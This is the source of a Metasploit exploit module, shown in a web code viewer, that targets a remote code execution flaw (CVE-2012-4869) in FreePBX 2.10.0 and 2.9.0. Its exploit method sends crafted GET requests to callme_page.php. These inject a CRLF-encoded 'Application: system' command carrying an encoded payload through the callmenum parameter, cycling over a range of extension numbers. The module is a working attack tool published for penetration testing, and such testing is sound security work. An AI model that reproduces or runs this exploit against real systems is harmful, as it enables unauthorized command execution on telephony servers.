Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/http/freepbx_callmenum.rb
19592 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ManualRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'FreePBX 2.10.0 / 2.9.0 callmenum Remote Code Execution',
16
'Description' => %q{
17
This module exploits FreePBX version 2.10.0,2.9.0 and possibly older.
18
Due to the way callme_page.php handles the 'callmenum' parameter, it
19
is possible to inject code to the '$channel' variable in function
20
callme_startcall in order to gain remote code execution.
21
22
Please note in order to use this module properly, you must know the
23
extension number, which can be enumerated or bruteforced, or you may
24
try some of the default extensions such as 0 or 200. Also, the call
25
has to be answered (or go to voice).
26
27
Tested on both Elastix and FreePBX ISO image installs.
28
},
29
'Author' => [ 'muts', 'Martin Tschirsich' ],
30
'License' => MSF_LICENSE,
31
'References' => [
32
[ 'CVE', '2012-4869' ],
33
[ 'OSVDB', '80544' ],
34
[ 'EDB', '18649' ]
35
],
36
'Platform' => ['unix'],
37
'Arch' => ARCH_CMD,
38
'Privileged' => false,
39
'Payload' => {
40
'Space' => 1024,
41
'DisableNops' => true,
42
},
43
'Targets' => [
44
[ 'Automatic Target', {}]
45
],
46
'DefaultTarget' => 0,
47
'DisclosureDate' => '2012-03-20',
48
'Notes' => {
49
'Reliability' => UNKNOWN_RELIABILITY,
50
'Stability' => UNKNOWN_STABILITY,
51
'SideEffects' => UNKNOWN_SIDE_EFFECTS
52
}
53
)
54
)
55
56
register_options(
57
[
58
OptString.new("EXTENSION", [ true, "A range of Local extension numbers", "0-100" ]),
59
]
60
)
61
end
62
63
def exploit
64
# Check range input
65
if datastore['EXTENSION'] =~ /^(\d+)\-(\d+)$/
66
min = $1.to_i
67
max = $2.to_i
68
else
69
print_error("Please specify a range for option 'EXTENSION'")
70
return
71
end
72
73
cmd = Rex::Text.uri_encode(payload.encoded)
74
75
(min..max).each do |e|
76
connect
77
print_status("#{rhost}:#{rport} - Sending evil request with range #{e.to_s}")
78
res = send_request_raw({
79
'method' => 'GET',
80
'uri' => "/recordings/misc/callme_page.php?action=c&callmenum=" + e.to_s + "@from-internal/n%0D%0AApplication:%20system%0D%0AData:%20#{cmd}%0D%0A%0D%0A",
81
'version' => '1.0',
82
'vhost' => rhost
83
})
84
handler
85
disconnect
86
end
87
end
88
end
89
90